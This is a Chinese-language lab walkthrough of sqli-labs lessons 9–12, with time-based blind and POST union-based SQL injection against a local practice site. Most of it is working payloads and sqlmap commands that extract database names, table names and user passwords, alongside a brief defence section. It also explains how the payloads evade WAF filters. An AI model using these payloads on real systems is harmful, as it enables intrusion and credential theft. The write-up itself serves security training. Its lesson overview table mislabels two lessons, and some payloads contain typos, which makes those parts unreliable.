|-------------|----------------|------------------------|
| Less-9 | 时间盲注 | 利用数据库延时特性进行注入 |
| Less-10 | GET和POST注入 | 综合运用GET和POST方法进行注入 |
Less-9
POST-based Blind Injection
通过HTTP POST请求而不是GET参数执行盲注。
Less-10
Multi-threaded Script Injection
使用多线程脚本自动化盲注过程,以提高效率。
Less-11
Double Quote Injection
类似于单引号注入,但使用双引号作为字符串分隔符。
Less-12
Numeric Injection
专注于被解释为数字而非字符串的数值输入。
SQL 时间盲注的使用场景和判断方式
使用场景
时间盲注(Time-Based Blind SQL Injection)主要用于以下情况:
- 页面无显式回显 :
当应用程序的页面或响应中不直接返回查询结果 ,且无法通过布尔盲注(True/False差异)判断注入结果时(例如无论输入是否正确,页面内容或HTTP状态码均无变化)。 - 无报错信息反馈 :
应用程序屏蔽了SQL报错信息(如关闭了数据库错误回显),无法通过报错注入(Error-Based)获取数据。 - 需要绕过常规防御 :
当其他注入方式(如联合查询、布尔盲注)被过滤或拦截时,时间盲注可能成为绕过手段。
判断方式
通过向数据库注入条件性延迟语句,观察页面响应时间是否显著增加,从而判断注入是否成功:
- 基础延迟测试
注入一个恒真条件并触发延迟,观察响应时间:
' AND SLEEP(5)--- 若页面响应时间增加约5秒,说明存在时间盲注漏洞。
- 不同数据库的延迟函数:
- MySQL: SLEEP(5), BENCHMARK(1000000, MD5('test'))
- PostgreSQL: pg_sleep(5)
- SQL Server: WAITFOR DELAY '0:0:5'
- 条件性延迟测试
结合条件语句,验证特定信息(如数据库名首字母):
' AND IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)--- 若页面延迟5秒,则说明当前数据库名的第一个字母是 a。
- 逐步推断数据
通过二分法或逐字符遍历,利用延迟判断每个字符的值:
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 100, SLEEP(3), 0)--- 若响应延迟3秒,说明密码首字符的ASCII码大于100。
防御建议
- 参数化查询(预编译语句) :
使用 PreparedStatement 或ORM框架,避免SQL拼接。 - 输入过滤与白名单 :
对用户输入严格校验(如类型、长度、格式),过滤特殊字符(', ", ;, --)。 - 最小化数据库权限 :
应用程序使用的数据库账户应仅拥有必要权限(如禁用SLEEP、EXEC等危险函数)。 - Web应用防火墙(WAF) :
部署规则拦截包含 SLEEP、WAITFOR 等关键词的请求。
工具辅助
- sqlmap :自动化检测和利用时间盲注,示例命令:
sqlmap -u "http://example.com/page?id=1" --technique=T --time-sec=5- --technique=T 指定时间盲注,--time-sec=5 设置延迟阈值。
http://127.0.0.1/sqli-labs/less-9/
1,第一个特征,无论 id=1/1'/1"/1 #/1' #/1" #页面都无回显,不报错

2,那就判断是否具有sql盲注的条件。注入一个恒真条件并触发延迟,观察响应时间:
id=1' AND SLEEP(5)--+ -- 若页面延迟5秒,则为单引号闭合
id=1" AND SLEEP(5)--+ -- 若为双引号闭合
观察到第一个攻击语句延迟了五秒,判断闭合方式为单引号
3,构造恒真条件触发延迟:
id=1' AND IF(1=1, SLEEP(5), 0)--+
- 预期结果:页面响应时间显著增加(约5秒),确认存在时间盲注漏洞
4,通过sql盲注获取当前数据库名长度
?id=1' AND IF(LENGTH(DATABASE())=8,SLEEP(5),0)--+
当猜测数据库名长度为8时,响应时间达到5s,说明数据库名长8个ACSII码
5 ,逐字符猜解数据库名
id=1' AND IF(
ASCII(SUBSTRING(DATABASE(),1,1))=115, -- 猜测第1个字符ASCII码为115(对应字母's')
SLEEP(5),
0
)--+
若延迟5秒,说明数据库名第一个字符为s
最后爆出来数据库名为 security
6,再提取第一个表名
id=1' AND IF(
ASCII(SUBSTRING(
(SELECT table_name FROM information_schema.tables
WHERE table_schema=DATABASE() LIMIT 1,1), -- 第1个表(emails)
1,1
))=101, -- 'e'的ASCII码
SLEEP(5),
0
)--+
- 若延迟5秒,说明第一个表名的首字母为 e(如 emails)。
7,提取 users 表中第一个用户的密码:
id=1' AND IF(
ASCII(SUBSTRING(
(SELECT password FROM users LIMIT 0,1), -- 第一行数据的密码
1,1
))=68, -- 'D'的ASCII码
SLEEP(5),
0
)--+
- 若延迟5秒,说明密码首字符为 D。
第二种方法 sqlmap 自动化注入
1,爆出数据库
sqlmap -u "http://192.168.1.101/sqli-labs/less-9/?id=1" --technique T --dbs

2,爆出secruity数据库下数据表
sqlmap -u "http://192.168.1.101/sqli-labs/less-9/?id=1" --technique T -D security --tables

3,爆出users数据表的字段
sqlmap -u "http://192.168.1.101/sqli-labs/less-9/?id=1" --technique T -D security -T users --columns

4,爆出账户密码
sqlmap -u "http://192.168.1.101/sqli-labs/less-9/?id=1" --technique T -D security -T users -C username,password --dump --threads 10 --batch

分析 sqlmap 注入的提示信息

1. 漏洞基本信息
- 参数位置:id(通过GET请求传递)。
- 漏洞类型:基于时间盲注(Time-Based Blind SQL Injection)。
- 数据库类型:MySQL(版本 >= 5.0.12,支持 SLEEP 函数)。
2. Payload 解析
注入语句为:
id=1' AND (SELECT 1755 FROM (SELECT(SLEEP(5)))KUWo) AND 'BErv'='BErv
关键结构分解
- 闭合单引号 :
id=1' 用于闭合原始查询中的单引号(假设原始查询为 WHERE id='$id')。 - 触发延迟的核心逻辑 :
(SELECT 1755 FROM (SELECT(SLEEP(5)))KUWo)- 内部子查询 :SELECT(SLEEP(5))
执行 SLEEP(5) 函数,强制数据库等待5秒。 - 外层包装 :SELECT 1755 FROM (...) KUWo
- KUWo 是子查询的别名(MySQL要求子查询必须命名)。
- SELECT 1755 是一个无意义的数值,仅用于构造合法语法。
- 内部子查询 :SELECT(SLEEP(5))
- 维持语法完整性 :
AND 'BErv'='BErv- 闭合末尾的单引号(原始查询可能为 ...'$id')。
- 'BErv'='BErv 是恒真条件,确保整个语句逻辑正确。
3. 漏洞利用原理
- 延迟触发 :
若目标存在漏洞,数据库会执行 SLEEP(5),导致HTTP响应时间显著增加(约5秒)。 - 绕过防御 :
- 使用数字 1755 和随机别名 KUWo 避免触发简单关键词过滤(如 SLEEP 直接出现可能被拦截)。
- 通过嵌套子查询构造合法语法,规避某些WAF规则。
4. 漏洞验证逻辑
- 正常请求 :
id=1 的响应时间为 T 毫秒。 - 注入恶意Payload :
若响应时间变为 T + 5000 毫秒(即增加5秒),则确认漏洞存在。
http://127.0.0.1/sqli-labs/less-10/
第十关 基于GET双引号基于时间盲注
存在注入点判断
和第九关类似,只不过需要用双引号闭合
?id=1"and if(1=1,sleep(5),0)--+
判断数据库长度,8是变量
?id=1"AND IF(LENGTH(DATABASE())=8,SLEEP(5),0)--+
判断数据库第一个字母是否为s
?id=1"AND IF(ascii(substring(databse(),1,1))=115,sleep(5),0)--+
判断secruity数据库的第一个数据表的字母是否为e
id=1"AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),1,1))=101,SLEEP(5),0)--+
判断users 表中第一个用户的密码的首字母是否为D
id=1"AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))=68,SLEEP(5),0)--+
语句整体结构
id=1" AND IF(
ASCII(SUBSTRING(
(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),
1,1
))=101,
SLEEP(5),
0
)--+
逐层解析
1. 闭合原始查询的引号
- id=1"
假设原始查询为:
SELECT * FROM users WHERE id = "$id"- 通过输入 1" 闭合双引号,后续注入的代码将被拼接到SQL语句中。
2. 核心逻辑:条件触发延迟
AND IF(条件, SLEEP(5), 0)
- IF函数 :
若条件为真,执行 SLEEP(5)(触发5秒延迟);否则返回0(无延迟)。 - 攻击目的 :
通过页面响应时间判断条件是否成立(延迟=真,无延迟=假)。
3. 目标数据提取
ASCII(SUBSTRING(
(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),
1,1
))=101
子查询分解
- 查询当前数据库的表名
SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()- information_schema.tables:MySQL系统表,存储所有表信息。
- table_schema=DATABASE():限定当前数据库。
- 结果示例:返回表名列表(如 users, emails, uagents 等)。
- 提取第二个表名
LIMIT 1,1- LIMIT 1,1 表示跳过第1行,取1行(即获取第2个表名)。
- 假设结果:第1个表为 emails,第2个表为 users。
- 截取表名的第一个字符
SUBSTRING(..., 1,1)- 从表名的第1个字符开始,截取1个字符。
- 示例:若表名为 users,则截取字符 u(ASCII码为117)。
- 转换为ASCII码
ASCII(...) = 101- 将字符转换为ASCII码值,判断是否为101(对应字母 e)。
- 逻辑验证 :
- 若当前数据库的第2个表名首字母为 e(如 emails),则条件为真,触发延迟。
- 若首字母不是 e,则无延迟。
4. 注释符与闭合
--+
- --+ 是注释符,将后续原始查询的剩余代码(如闭合的引号)注释掉,避免语法错误。
- 等效于 -- (空格),+ 在URL编码中表示空格。
攻击流程模拟
- 闭合引号 :
构造 id=1" 闭合原始查询,使后续注入代码成为有效SQL语句。 - 条件测试 :
- 若数据库的第2个表名首字母为 e,触发5秒延迟。
- 观察页面响应时间:
- 延迟5秒 → 首字母为 e(如 emails)。
- 无延迟 → 继续测试其他ASCII值(如102= f,100= d 等)。
- 逐字符遍历 :
重复修改 SUBSTRING 的起始位置(如 SUBSTRING(...,2,1))和ASCII值,直至完整表名被提取。
http://127.0.0.1/sqli-labs/less-11/
基于错误的POST单引号字符型注入
1,观察页面

挂上代理使用burpsuite抓个请求包试试,是POST型sql注入
admin'

双引号不回显不报错

单引号+注释符正常回显说明是闭合类型是单引号

2,然后order by注释符爆出数据表存在多少列
正常回显
uname=admin' order by 2 #&passwd=1&submit=Submit
发生爆错,说明数据表至少有两列,不大于三列那么就是两列
uname=admin' order by 3 #&passwd=1&submit=Submit

3,使用union select操作符判断sql注入漏洞的回显位置
uname=-1' union select 1,2 #&passwd=1&submit=Submit

由此判断回显点存在于select查询出来的1,2列。然后再查询数据库名和版本
-1' union select database(),version() #

然后查询secruity数据库下所有的数据表
-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() #

得到的数据表有:emails,referers,uagents,users,然后再查询数据表下有什么字段
-1' union select 1,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name="users"#

得到users表下的字段有id,username,password。最后再爆出该数据表下的用户名和密码
-1' union select group_concat(username),group_concat(password) from users

http://127.0.0.1/sqli-labs/less-12/
基于错误的POST双引号字符型注入
admin" order by 2 #
admin" order by 3 #
-1" union select 1,2 #
-1" union select database(),version() #
-1" union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() #
-1" union select 1,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name="users"#
-1" union select group_concat(username),group_concat(password) from users